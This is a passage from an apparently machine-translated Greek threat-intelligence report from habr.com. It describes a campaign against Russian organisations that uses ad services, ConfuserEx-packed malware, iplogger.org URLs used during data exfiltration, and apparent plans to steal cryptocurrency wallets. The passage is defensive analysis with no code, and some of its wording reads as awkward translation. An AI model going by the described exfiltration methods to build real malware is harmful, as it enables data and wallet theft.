Υπάρχει ένα άλλο σημάδι ότι το πρόγραμμα βρίσκεται σε εξέλιξη. Το δυαδικό αρχείο περιλαμβάνει δύο διευθύνσεις URL iplogger.org και ερωτώνται και οι δύο όταν γίνεται εξαγωγή δεδομένων. Σε ένα αίτημα σε μία από αυτές τις διευθύνσεις URL, η τιμή στο πεδίο Referer προηγείται από το "DEV /". Βρήκαμε επίσης μια έκδοση που δεν συσκευάστηκε χρησιμοποιώντας το ConfuserEx, ο παραλήπτης για αυτήν τη διεύθυνση URL ονομάζεται DevFeedbackUrl. Με βάση το όνομα της μεταβλητής περιβάλλοντος, πιστεύουμε ότι οι χειριστές σχεδιάζουν να χρησιμοποιήσουν τη νόμιμη υπηρεσία Discord και το σύστημα παρακολούθησης ιστού της για να κλέψουν πορτοφόλια κρυπτονομισμάτων.

Συμπέρασμα

Αυτή η καμπάνια είναι ένα παράδειγμα χρήσης νόμιμων διαφημιστικών υπηρεσιών σε επιθέσεις στον κυβερνοχώρο. Το σχέδιο στοχεύει ρωσικές οργανώσεις, αλλά δεν θα εκπλαγούμε αν δούμε μια τέτοια επίθεση χρησιμοποιώντας μη ρωσικές υπηρεσίες. Για να αποφευχθεί ο συμβιβασμός, οι χρήστες πρέπει να είναι σίγουροι για τη φήμη της πηγής του λογισμικού που κατεβάζουν.

Μια πλήρης λίστα δεικτών συμβιβασμού και χαρακτηριστικών MITER ATT&CK είναι διαθέσιμη στη διεύθυνση σύνδεσμος.

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο